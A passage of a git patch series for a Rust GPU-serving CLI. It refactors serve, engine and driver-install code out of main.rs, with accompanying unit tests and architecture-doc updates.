message = error.to_string(); + assert!( + message.contains("--gpu-memory-utilization"), + "error for `{bad}` should name the flag: {message}" + ); + } + assert_eq!( + parse_gpu_memory_utilization(Some(" 0.5 ")).unwrap(), + Some(0.5) + ); + assert_eq!(parse_gpu_memory_utilization(Some("1")).unwrap(), Some(1.0)); + } + + #[test] + fn generation_defaults_inject_override_generation_config_for_vllm() { + // vLLM has no raw sampling flags: all three controls collapse into a single + // `--override-generation-config` JSON with `--max-tokens` mapped to the + // engine's `max_new_tokens` output cap. + let hint = engine_recipe_with_generation_defaults( + "vllm", + None, + ServeGenerationDefaults { + temperature: Some(0.5), + top_p: Some(0.25), + max_tokens: Some(128), + }, + ) + .expect("vllm defaults are supported") + .expect("supplied defaults should synthesize a vllm hint"); + assert_eq!(hint.engine, "vllm"); + assert_eq!(hint.required_flags.len(), 2); + assert_eq!(hint.required_flags[0], "--override-generation-config"); + let config: serde_json::Value = + serde_json::from_str(&hint.required_flags[1]).expect("config is valid JSON"); + assert_eq!(config["temperature"], 0.5); + assert_eq!(config["top_p"], 0.25); + assert_eq!(config["max_new_tokens"], 128); + } + + #[test] + fn generation_defaults_include_only_supplied_values() { + // Unset controls are omitted so the engine keeps its own defaults. + let hint = engine_recipe_with_generation_defaults( + "vllm", + None, + ServeGenerationDefaults { + temperature: Some(0.25), + top_p: None, + max_tokens: None, + }, + ) + .expect("vllm defaults are supported") + .expect("a single supplied default still synthesizes a hint"); + let config: serde_json::Value = + serde_json::from_str(&hint.required_flags[1]).expect("config is valid JSON"); + assert_eq!(config["temperature"], 0.25); + assert!(config.get("top_p").is_none()); + assert!(config.get("max_new_tokens").is_none()); + } + + #[test] + fn generation_defaults_merge_with_recipe_authored_config() { + // CLI values win, but authored keys the CLI does not set are preserved and + // exactly one `--override-generation-config` pair remains. + let authored = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "vllm".to_owned(), + required_flags: vec![ + "--enable-auto-tool-choice".to_owned(), + "--override-generation-config".to_owned(), + "{\"temperature\":0.9,\"repetition_penalty\":1.1}".to_owned(), + ], + ..EngineRecipeHint::default() + }; + let hint = engine_recipe_with_generation_defaults( + "vllm", + Some(authored), + ServeGenerationDefaults { + temperature: Some(0.25), + top_p: Some(0.5), + max_tokens: None, + }, + ) + .expect("vllm defaults are supported") + .unwrap(); + assert_eq!( + hint.required_flags + .iter() + .filter(|flag| *flag == "--override-generation-config") + .count(), + 1 + ); + assert_eq!(hint.required_flags[0], "--enable-auto-tool-choice"); + let config: serde_json::Value = + serde_json::from_str(hint.required_flags.last().unwrap()).unwrap(); + assert_eq!(config["temperature"], 0.25); + assert_eq!(config["top_p"], 0.5); + assert_eq!(config["repetition_penalty"], 1.1); + } + + #[test] + fn generation_defaults_absent_or_non_vllm_pass_through() { + // No controls supplied: the hint flows through unchanged. + assert!( + engine_recipe_with_generation_defaults( + "vllm", + None, + ServeGenerationDefaults::default() + ) + .unwrap() + .is_none() + ); + assert!( + engine_recipe_with_generation_defaults( + "unknown", + None, + ServeGenerationDefaults { + temperature: Some(0.5), + top_p: Some(0.5), + max_tokens: Some(64), + }, + ) + .is_err() + ); + } + + #[test] + fn generation_defaults_translate_to_lemonade_llama_server_flags() { + let hint = engine_recipe_with_generation_defaults( + "lemonade", + None, + ServeGenerationDefaults { + temperature: Some(0.5), + top_p: Some(0.25), + max_tokens: Some(128), + }, + ) + .expect("lemonade defaults are supported") + .expect("defaults synthesize a recipe"); + assert_eq!( + hint.required_flags, + [ + "--temperature", + "0.5", + "--top-p", + "0.25", + "--n-predict", + "128" + ] + ); + } + + #[test] + fn generation_defaults_preserve_unset_lemonade_recipe_flags() { + // Only --temperature is supplied via CLI; an authored --top-p already + // present in the recipe must survive untouched, mirroring the vLLM + // merge behavior instead of being deleted. + let authored = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "lemonade".to_owned(), + required_flags: vec!["--top-p".to_owned(), "0.9".to_owned()], + ..EngineRecipeHint::default() + }; + let hint = engine_recipe_with_generation_defaults( + "lemonade", + Some(authored), + ServeGenerationDefaults { + temperature: Some(0.5), + top_p: None, + max_tokens: None, + }, + ) + .expect("lemonade defaults are supported") + .expect("supplied defaults should synthesize a hint"); + assert_eq!( + hint.required_flags, + ["--top-p", "0.9", "--temperature", "0.5"] + ); + } + + #[test] + fn engine_recipe_enables_tool_choice_reflects_flags() { + assert!(!engine_recipe_enables_tool_choice(None)); + let without = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "vllm".to_owned(), + required_flags: vec!["--reasoning-parser".to_owned(), "qwen3".to_owned()], + ..EngineRecipeHint::default() + }; + assert!(!engine_recipe_enables_tool_choice(Some(&without))); + let with = engine_recipe_with_tool_call_override("vllm", None, Some("hermes")); + assert!(engine_recipe_enables_tool_choice(with.as_ref())); + } + + #[test] + fn render_engine_inventory_text_honors_configured_default_engine() { + // Regression: this renderer used to mark only `default_engine_for_host`, + // ignoring a configured `default_engine` — the same host-vs-configured + // precedence `select_serve_engine` and `append_examine_engine_inventory` + // already honor. Pick whichever engine the host does NOT prefer so the + // configured value is guaranteed to actually change the marked engine. + let (root, paths) = test_paths("engine-inventory-configured-default"); + let host_default = + rocm_core::default_engine_for_host(&rocm_core::detect_host_gpu_summary(Some(&paths))); + let configured = if host_default == "vllm" { + "lemonade" + } else { + "vllm" + }; + let config = RocmCliConfig { + default_engine: Some(configured.to_owned()), + ..RocmCliConfig::default() + }; + config.save(&paths).expect("save config"); + + let rendered = render_engine_inventory_text_with_paths(Some(&paths)); + let _ = fs::remove_dir_all(root); + + assert!( + rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {configured}")), + "configured default engine {configured} must be marked; got:\n{rendered}" + ); + assert!( + !rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {host_default}")), + "host default {host_default} must not be marked once a different engine is configured; got:\n{rendered}" + ); + } + + #[test] + fn examine_treats_a_blank_configured_engine_as_unset() { + // Mirrors `select_serve_engine`'s guard: a config file with + // `default_engine = ""` must fall back to the host preference rather + // than reporting an empty engine name as "effective" and marking none + // of the real ones. + let (root, paths) = test_paths("examine-engine-inventory-blank-configured"); + let config = RocmCliConfig { + default_engine: Some(String::new()), + ..RocmCliConfig::default() + }; + let mut output = String::new(); + + append_examine_engine_inventory(&mut output, &paths, &config, "vllm"); + + assert!( + output.contains("configured_default_engine: "), + "a blank configured value must read as unset:\n{output}" + ); + assert!( + output.contains("effective_default_engine: vllm"), + "a blank configured value must fall back to the host default:\n{output}" + ); + assert!( + output.contains(" * vllm "), + "the '*' marker must land on the host's default, not an empty name:\n{output}" + ); + let _ = fs::remove_dir_all(root); + } + + #[test] + fn launch_lock_makes_gpu_select_and_claim_atomic() { + // Regression for the serve read-select-launch race: the busy-GPU read and + // the claiming record write must happen under one lock, or two concurrent + // `--gpu auto` serves both read the same GPU as free and land on it. + // + // The test does NOT take the lock itself — that would only prove + // `FileLock` excludes (already covered by + // `file_lock_serializes_concurrent_holders` in rocm-core). It calls + // `select_gpu_indices_under_launch_lock`, the production helper `serve()` + // uses, whose contract is that it returns the guard *it* acquired together + // with the selection; the test holds that guard across the claim exactly + // as `serve()` holds it until `spawn_managed_engine_child` persists the + // record. Delete the `FileLock::acquire` from that helper and this test + // goes red: both threads then select GPU 0. + // + // Determinism: the barrier releases both threads together and each sleeps + // between select and claim, so an unlocked helper double-books GPU 0 + // regardless of scheduling skew, while the locked helper forces the second + // thread to observe the first thread's claim. + let (root, paths) = test_paths("launch-lock-atomic-claim"); + paths.ensure().expect("prepare paths"); + let detected = Some(2_usize); + + let barrier = std::sync::Barrier::new(2); + let selections = std::thread::scope(|scope| { + let handles: Vec<_> = [("svc-race-a", 21001_u16), ("svc-race-b", 21002_u16)] + .into_iter() + .map(|(service_id, port)| { + let paths = &paths; + let barrier = &barrier; + scope.spawn(move || { + barrier.wait(); + // The exact call `serve()` makes: the helper acquires the + // launch lock and selects under it, handing the guard back. + // `None` visibility keeps selection mask-unaware for the + // test host; `pinned` `None` + `cpu_only` false is the + // `--gpu auto` path that reads live busy-GPU state. + let (gpu, lock) = select_gpu_indices_under_launch_lock( + paths, + false, + None, + || detected, + None, + None, + ) + .expect("auto GPU selection under launch lock"); + // Widen the select→claim window so an unlocked helper + // deterministically double-books GPU 0; under the lock the + // second thread cannot enter until we claim. + std::thread::sleep(Duration::from_millis(50)); + write_claiming_record(paths, service_id, port, &gpu); + drop(lock); + gpu + }) + }) + .collect(); + handles + .into_iter() + .map(|handle| handle.join().expect("selection thread joins")) + .collect::>() + }); + + let mut picked: Vec = selections.into_iter().flatten().collect(); + picked.sort_unstable(); + assert_eq!( + picked, + vec![0, 1], + "serialized select-then-claim must hand out distinct GPUs, got {picked:?}" + ); + + let _ = fs::remove_dir_all(&root); + } + + // ---- Phase 9: reroute dispatch (bare `rocm` + interactive `rocm chat`) ---- + // + // The interactive branches require a real TTY (`interactive_terminal()`), + // which is unavailable in CI, and the dash visuals are trust-prior. These + // tests instead PROVE the dispatch TARGET changed: the two interactive + // handlers now call `dash::run_chat` and no longer call `tui::run`. We read + // this source file at test time and assert on the handler bodies. +} diff --git a/docs/architecture.md b/docs/architecture.md index f292ca17f..1bb95db68 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -15,7 +15,7 @@ This is the living module map for rocm-cli. It's a contributor-facing reference New subcommands and subsystems default to their own file from day one — they should not grow inside `main.rs`/`lib.rs` waiting for a future extraction pass. Two extraction patterns already exist in the codebase; use whichever fits: - **Full domain extraction** — a subsystem's domain implementation moves into its own file that owns its own types (structs/enums), not just relocated functions; that ownership is what distinguishes this pattern from mechanical relocation below — every `apps/rocm` module is a private `mod x;` accessed via qualified paths (e.g. `comfyui::render_status(...)`) regardless of pattern, so module privacy alone doesn't tell the two apart. Where a subsystem has a dedicated clap subcommand, its command enum and dispatch function usually stay in `main.rs` (e.g. `ComfyuiCommand`/`comfyui()`, `RuntimesCommand`/`runtimes()`) — but not every domain-extracted module has one (`providers.rs` has no dedicated command enum; it's invoked from the existing chat/config command flows). In library crates (`crates/rocm-core`) the module is `pub mod x;` plus a `pub use x::{...};` re-export, since it's part of the crate's public API. This is the default for new subsystems. Examples: `apps/rocm/src/therock.rs` (`RuntimesCommand`), `comfyui.rs` (`ComfyuiCommand`), `providers.rs` (no dedicated command enum); `crates/rocm-core`'s `diagnose.rs`/`examine.rs`. -- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. +- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types used nowhere else (`driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs` — part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs`; the pattern is still "mechanical relocation" rather than full domain extraction because the dispatch fn itself relocates (`install_driver()`/`engines()`/`serve()`), which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. There is no file-line-count CI gate enforcing this — `too_many_lines = "allow"` in the workspace `Cargo.toml` is a deliberate, function-level choice, not an oversight. This convention is the guardrail instead. @@ -25,9 +25,9 @@ Scoped to the crates that make up the shipped CLI/daemon/dashboard/engine surfac ### `apps/rocm` — main CLI binary -Subsystem modules already following full domain extraction (each owns its own types): `therock.rs`, `comfyui.rs`, `providers.rs`, `chat_host_facts.rs`, `dash.rs`, `dash_seam.rs`, `provider_keys.rs`, `serve_summary.rs`, `storage.rs`. Mechanically relocated dispatch-adjacent handlers (no owned types, shared config stays at the crate root): `automations.rs`, `uninstall.rs`, `endpoint_keys.rs`, `logging.rs`. `bootstrap.rs` is a further-extracted variant of full domain extraction: it owns its clap command enum (`BootstrapCommand`) and dispatch function too, rather than leaving them in `main.rs`. Shared CLI-output components: `cli_progress.rs` (`Spinner`, `AnimatedSpinner`), `cli_report.rs` (`ActionReport`). +Subsystem modules already following full domain extraction (each owns its own types): `therock.rs`, `comfyui.rs`, `providers.rs`, `chat_host_facts.rs`, `dash.rs`, `dash_seam.rs`, `provider_keys.rs`, `serve_summary.rs`, `storage.rs`. Mechanically relocated dispatch-adjacent handlers (no owned types, shared config stays at the crate root): `automations.rs`, `uninstall.rs`, `endpoint_keys.rs`, `logging.rs`. Mechanically relocated clusters that do own private types (see the Phase 6a variant note above): `driver_install.rs` (`install_driver()`/`reconcile_driver_install()`, plus the driver-plan/state types), `engines_cmd.rs` (`engines()`, plus env-root/runtime resolution — several helpers here are also called from `serve_cmd.rs` and from other root-level commands, so they stay `pub(crate)`), `serve_cmd.rs` (`serve()`, plus engine-recipe overrides). `bootstrap.rs` is a further-extracted variant of full domain extraction: it owns its clap command enum (`BootstrapCommand`) and dispatch function too, rather than leaving them in `main.rs`. Shared CLI-output components: `cli_progress.rs` (`Spinner`, `AnimatedSpinner`), `cli_report.rs` (`ActionReport`). -`main.rs` itself is **not yet modularized** — see EAI-7768, split planned across several PRs, one cluster at a time. +`main.rs` itself is **partially modularized** — Phase 6a (ROCMAI-82) extracted the driver-install/engines/serve clusters above; the rest of the split is planned across several more PRs, one cluster at a time (see EAI-7768). ### `apps/rocmd` — background daemon From ceb9a74566eb8be23d514cb995457780adf7f720 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 5 Oct 2026 08:32:03 +0000 Subject: [PATCH 2/9] ROCMAI-82: move single-consumer types/fixtures with their cluster MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Review follow-up: ServeEngineSelection had zero remaining callers in main.rs but was left behind instead of moving into serve_cmd.rs with the rest of the cluster. Likewise write_claiming_record, side_by_side_runtimes, test_examine, and dkms_planning_os_releases were widened to pub(crate) as shared test fixtures, but each had exactly one external caller (serve_cmd.rs, engines_cmd.rs, and driver_install.rs respectively) — true single-cluster-local items that belong in that cluster's own test module, not reached back into main.rs via crate::. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 69 +++++++++++++++++- apps/rocm/src/engines_cmd.rs | 27 ++++++- apps/rocm/src/main.rs | 125 -------------------------------- apps/rocm/src/serve_cmd.rs | 36 ++++++++- 4 files changed, 125 insertions(+), 132 deletions(-) diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index 71c05cd1c..cc4c74c30 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -1698,7 +1698,74 @@ fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { #[cfg(test)] mod tests { use super::*; - use crate::tests::{ScopedTestEnv, dkms_planning_os_releases, test_examine, test_paths}; + use crate::tests::{ScopedTestEnv, test_paths}; + + fn test_examine(os: &str, wsl: bool) -> ExamineSummary { + ExamineSummary { + os: os.to_owned(), + arch: "x86_64".to_owned(), + kernel: Some("6.8.0-test".to_owned()), + distro: Some("test distro".to_owned()), + cpu: Some("AMD Ryzen".to_owned()), + system_ram_gib: Some(64.0), + interactive_terminal: false, + default_engine: "vllm".to_owned(), + detected_gfx_target: Some("gfx1201".to_owned()), + compatible_therock_family: Some("gfx120X-all".to_owned()), + detected_therock_family: None, + driver: rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "amdgpu_missing".to_owned(), + detail: Some("/dev/kfd missing".to_owned()), + }, + legacy_rocm: rocm_core::LegacyRocmSummary { + status: "not_detected".to_owned(), + paths: Vec::new(), + detail: None, + version: None, + }, + wsl: wsl.then_some(rocm_core::WslSummary { + is_wsl: true, + dxg_device: true, + dxcore: true, + librocdxg: false, + rocdxg_dids: false, + ldconfig_librocdxg: false, + rocminfo: false, + cargo: false, + detail: Some("missing librocdxg".to_owned()), + }), + managed_runtime_count: 0, + managed_service_count: 0, + model_cache_entries: 0, + config_dir: PathBuf::from("/tmp/config"), + data_dir: PathBuf::from("/tmp/data"), + cache_dir: PathBuf::from("/tmp/cache"), + } + } + + /// Every distro whose plan actually emits privileged commands, so the + /// escalation tests below sweep all of them rather than whichever one was + /// remembered. Adding a distro to the planner without adding it here would + /// leave its commands unswept. + fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { + vec![ + ( + "ubuntu", + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", + ), + ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), + ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), + ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), + ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), + ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), + ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), + ( + "almalinux-via-id-like", + "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", + ), + ] + } fn plan_commands(os_release: &str, escalation: PrivilegeEscalation) -> Vec { build_driver_install_plan(&test_examine("linux", false), os_release, true, escalation) diff --git a/apps/rocm/src/engines_cmd.rs b/apps/rocm/src/engines_cmd.rs index 1ed66f851..5b5027006 100644 --- a/apps/rocm/src/engines_cmd.rs +++ b/apps/rocm/src/engines_cmd.rs @@ -692,9 +692,30 @@ fn load_engine_env_manifest( #[cfg(test)] mod tests { use super::*; - use crate::tests::{ - side_by_side_runtimes, test_paths, test_runtime_manifest_for_update, write_test_pip_runtime, - }; + use crate::tests::{test_paths, test_runtime_manifest_for_update, write_test_pip_runtime}; + + /// Two runtimes installed side by side, as a pre-warmed CI tree holds them. + /// + /// They differ in `runtime_key`, `version` and install root, and share one + /// `runtime_id` — that is what the field means, so this is not a corrupt + /// registry. + fn side_by_side_runtimes() -> Vec { + let mut older = test_runtime_manifest_for_update( + "release-wheel-gfx94x-dcgpu-7-13-0", + "therock-release:gfx94X-dcgpu", + "gfx94X-dcgpu", + "7.13.0", + ); + older.install_root = PathBuf::from("/runtimes/release-wheel-gfx94x-dcgpu-7-13-0"); + let mut newer = test_runtime_manifest_for_update( + "release-wheel-gfx94x-dcgpu-7-14-0", + "therock-release:gfx94X-dcgpu", + "gfx94X-dcgpu", + "7.14.0", + ); + newer.install_root = PathBuf::from("/runtimes/release-wheel-gfx94x-dcgpu-7-14-0"); + vec![older, newer] + } #[test] fn engine_install_runtime_selection_requires_configured_runtime() -> Result<()> { diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 5447715ee..694290db0 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -3606,12 +3606,6 @@ fn install(target: InstallTarget) -> Result<()> { Ok(()) } -#[derive(Debug, Clone, Eq, PartialEq)] -struct ServeEngineSelection { - engine: String, - source: &'static str, -} - /// GPU/device warnings folded into the interactive deployment summary. Mirrors the /// inline warnings printed in the plain serve plan, in the same order. #[allow(clippy::too_many_arguments)] @@ -21802,50 +21796,6 @@ pub(crate) mod tests { Ok(()) } - pub(crate) fn test_examine(os: &str, wsl: bool) -> ExamineSummary { - ExamineSummary { - os: os.to_owned(), - arch: "x86_64".to_owned(), - kernel: Some("6.8.0-test".to_owned()), - distro: Some("test distro".to_owned()), - cpu: Some("AMD Ryzen".to_owned()), - system_ram_gib: Some(64.0), - interactive_terminal: false, - default_engine: "vllm".to_owned(), - detected_gfx_target: Some("gfx1201".to_owned()), - compatible_therock_family: Some("gfx120X-all".to_owned()), - detected_therock_family: None, - driver: rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "amdgpu_missing".to_owned(), - detail: Some("/dev/kfd missing".to_owned()), - }, - legacy_rocm: rocm_core::LegacyRocmSummary { - status: "not_detected".to_owned(), - paths: Vec::new(), - detail: None, - version: None, - }, - wsl: wsl.then_some(rocm_core::WslSummary { - is_wsl: true, - dxg_device: true, - dxcore: true, - librocdxg: false, - rocdxg_dids: false, - ldconfig_librocdxg: false, - rocminfo: false, - cargo: false, - detail: Some("missing librocdxg".to_owned()), - }), - managed_runtime_count: 0, - managed_service_count: 0, - model_cache_entries: 0, - config_dir: PathBuf::from("/tmp/config"), - data_dir: PathBuf::from("/tmp/data"), - cache_dir: PathBuf::from("/tmp/cache"), - } - } - fn test_app_paths() -> AppPaths { AppPaths { config_dir: PathBuf::from("C:/Users/test/.rocm"), @@ -29065,29 +29015,6 @@ install therock"; assert!(vram_capacity_is_meaningful(None, 1)); } - /// Every distro whose plan actually emits privileged commands, so the - /// escalation tests below sweep all of them rather than whichever one was - /// remembered. Adding a distro to the planner without adding it here would - /// leave its commands unswept. - pub(crate) fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { - vec![ - ( - "ubuntu", - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - ), - ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), - ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), - ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), - ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), - ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), - ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), - ( - "almalinux-via-id-like", - "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", - ), - ] - } - /// The `ROCM_E2E_FORCE_LOW_VRAM` hook must synthesize a reading that actually /// trips the serve-plan low-VRAM warning on a non-APU (vLLM-lane) host, and /// stay inert when the var is unset. This is what the `@requires-gpu` @@ -31736,29 +31663,6 @@ install therock"; assert_eq!(sdk_torch_build_from_manifest(&manifest), None); } - /// Two runtimes installed side by side, as a pre-warmed CI tree holds them. - /// - /// They differ in `runtime_key`, `version` and install root, and share one - /// `runtime_id` — that is what the field means, so this is not a corrupt - /// registry. - pub(crate) fn side_by_side_runtimes() -> Vec { - let mut older = test_runtime_manifest_for_update( - "release-wheel-gfx94x-dcgpu-7-13-0", - "therock-release:gfx94X-dcgpu", - "gfx94X-dcgpu", - "7.13.0", - ); - older.install_root = PathBuf::from("/runtimes/release-wheel-gfx94x-dcgpu-7-13-0"); - let mut newer = test_runtime_manifest_for_update( - "release-wheel-gfx94x-dcgpu-7-14-0", - "therock-release:gfx94X-dcgpu", - "gfx94X-dcgpu", - "7.14.0", - ); - newer.install_root = PathBuf::from("/runtimes/release-wheel-gfx94x-dcgpu-7-14-0"); - vec![older, newer] - } - /// A torch the user installed themselves is kept, and named as kept. /// /// The Python does not exist and an index is supplied, so an alignment that @@ -33429,35 +33333,6 @@ install therock"; let _ = fs::remove_dir_all(&root); } - /// Persist a live-looking managed record claiming `gpu` — the same shape a - /// real launch writes, with the current process id as the supervisor so the - /// liveness refresh in `load_managed_services` keeps it "starting" (and thus - /// counted by `busy_gpu_indices`). - pub(crate) fn write_claiming_record( - paths: &AppPaths, - service_id: &str, - port: u16, - gpu: &[u32], - ) { - let mut record = ManagedServiceRecord::new( - paths, - service_id, - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - port, - "managed", - std::process::id(), - Some("therock-release".to_owned()), - None, - Some("gpu_required".to_owned()), - ); - record.status = "starting".to_owned(); - record.gpu_indices = gpu.to_vec(); - record.write().expect("write claiming record"); - } - fn main_rs_source() -> String { let path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) .join("src") diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs index 26037a911..2aa1ecb82 100644 --- a/apps/rocm/src/serve_cmd.rs +++ b/apps/rocm/src/serve_cmd.rs @@ -31,7 +31,7 @@ use crate::endpoint_keys; use crate::engines_cmd::{engine_manages_own_runtime, ensure_self_managed_engine_ready}; use crate::serve_summary; use crate::{ - ServeEngineSelection, cli_progress, collect_serve_notes, detect_gpu_count, device_policy_name, + cli_progress, collect_serve_notes, detect_gpu_count, device_policy_name, drop_orphaned_endpoint_key_on_already_running, engine_request, ensure_background_helper_running_quiet, ensure_public_bind_engine_supported, gpu_vram_usage, parse_device_policy, parse_gpu_selection, print_managed_launch_plain, resolve_endpoint_auth, @@ -40,6 +40,12 @@ use crate::{ validate_engine_selection_runtime, validate_pinned_gpu_index, }; +#[derive(Debug, Clone, Eq, PartialEq)] +struct ServeEngineSelection { + engine: String, + source: &'static str, +} + fn select_serve_engine( explicit_engine: Option<&str>, configured_default: Option<&str>, @@ -946,14 +952,38 @@ mod tests { use std::time::Duration; use super::*; - use rocm_core::resolve_builtin_model_recipe; + use rocm_core::{ManagedServiceRecord, resolve_builtin_model_recipe}; - use crate::tests::{test_paths, write_claiming_record}; + use crate::tests::test_paths; use crate::{ DEFAULT_ENGINE_MARKER, append_examine_engine_inventory, build_freeform_plan_with_recipes, render_engine_inventory_text_with_paths, }; + /// Persist a live-looking managed record claiming `gpu` — the same shape a + /// real launch writes, with the current process id as the supervisor so the + /// liveness refresh in `load_managed_services` keeps it "starting" (and thus + /// counted by `busy_gpu_indices`). + fn write_claiming_record(paths: &AppPaths, service_id: &str, port: u16, gpu: &[u32]) { + let mut record = ManagedServiceRecord::new( + paths, + service_id, + "vllm", + "qwen", + "Qwen/Qwen3.5", + "127.0.0.1", + port, + "managed", + std::process::id(), + Some("therock-release".to_owned()), + None, + Some("gpu_required".to_owned()), + ); + record.status = "starting".to_owned(); + record.gpu_indices = gpu.to_vec(); + record.write().expect("write claiming record"); + } + #[test] fn hybrid_planner_bakes_the_host_engine_into_the_generated_serve_command() { // The generated command carries an explicit `--engine`, which outranks From b23a495fce47c7719fb1cdbcbc3c474f46e40c0f Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Tue, 6 Oct 2026 08:10:13 +0000 Subject: [PATCH 3/9] ROCMAI-82: restore #407 reachability; tidy single-consumer helpers MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rebasing onto main surfaced two problems review caught: - main gained assess_model_for_host (#407) between branch point and rebase, calling select_serve_engine/ServeEngineSelection::engine and detect_host_gpu_summary — all made unreachable by this split. Restore the import and widen visibility to pub(crate) where needed. - Several helpers (render_engine_inventory_text, path_is_same_or_inside, the Phase 9 test-section header, two inventory/examine tests) had exactly one consumer in a new module but stayed in main.rs, or landed in the wrong test module. Move each to its sole consumer; correct two stale module-doc claims (driver_install's general-purpose helpers, serve_cmd's managed-service-spawning tail) to state the real reason they stayed put instead of a reason that no longer holds. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 41 +-------- apps/rocm/src/engines_cmd.rs | 24 ++++-- apps/rocm/src/main.rs | 144 +++++++++++++++++++++++++++----- apps/rocm/src/serve_cmd.rs | 93 +++------------------ docs/architecture.md | 2 +- 5 files changed, 152 insertions(+), 152 deletions(-) diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index cc4c74c30..5b256d59b 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -23,6 +23,7 @@ use rocm_core::{AppPaths, ExamineSummary, shell_command_for_host}; use serde::{Deserialize, Serialize}; use crate::cli_report; +use crate::{empty_as_unknown, parse_os_release_field, read_os_release}; pub(crate) fn install_driver( paths: &AppPaths, @@ -1584,23 +1585,6 @@ const fn driver_plan_approval_label( } } -pub(crate) const fn empty_as_unknown(value: &str) -> &str { - if value.is_empty() { "" } else { value } -} - -pub(crate) fn parse_os_release_field(text: &str, key: &str) -> Option { - for line in text.lines() { - let Some((name, raw_value)) = line.split_once('=') else { - continue; - }; - if name != key { - continue; - } - return Some(raw_value.trim().trim_matches('"').to_owned()); - } - None -} - fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { match (os_id, version_id) { ("ubuntu", "22.04") => Some("jammy"), @@ -1611,10 +1595,6 @@ fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { } } -pub(crate) fn read_os_release() -> Result { - fs::read_to_string("/etc/os-release").context("failed to read /etc/os-release") -} - fn run_driver_shell_command(command: &str) -> Result<()> { run_shell_command_with_stdin(command, Stdio::null()) } @@ -1637,25 +1617,6 @@ fn run_shell_command_with_stdin(command: &str, stdin: Stdio) -> Result<()> { Ok(()) } -/// Run a command given as an argv vector directly, without going through a shell. -/// -/// Used for [`run_system_package_install_plan`], whose commands are modeled as -/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. -pub(crate) fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { - let (program, args) = argv - .split_first() - .context("install command has no program to run")?; - let status = ProcessCommand::new(program) - .args(args) - .stdin(stdin) - .status() - .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; - if !status.success() { - bail!("`{}` exited with {status}", argv.join(" ")); - } - Ok(()) -} - fn driver_install_state_path(paths: &AppPaths) -> PathBuf { paths.data_dir.join("driver").join("state.json") } diff --git a/apps/rocm/src/engines_cmd.rs b/apps/rocm/src/engines_cmd.rs index 5b5027006..c3f5920c4 100644 --- a/apps/rocm/src/engines_cmd.rs +++ b/apps/rocm/src/engines_cmd.rs @@ -18,7 +18,8 @@ use std::process::{Command as ProcessCommand, Stdio}; use anyhow::{Context, Result, bail}; use rocm_core::{ AppPaths, RocmCliConfig, default_interactive_shell_program, interactive_terminal, - prepend_runtime_path, runtime_python_activation_hint, runtime_python_env_bin_dir, + prepend_runtime_path, runtime_path_is_same_or_inside, runtime_python_activation_hint, + runtime_python_env_bin_dir, }; use rocm_engine_protocol::{ 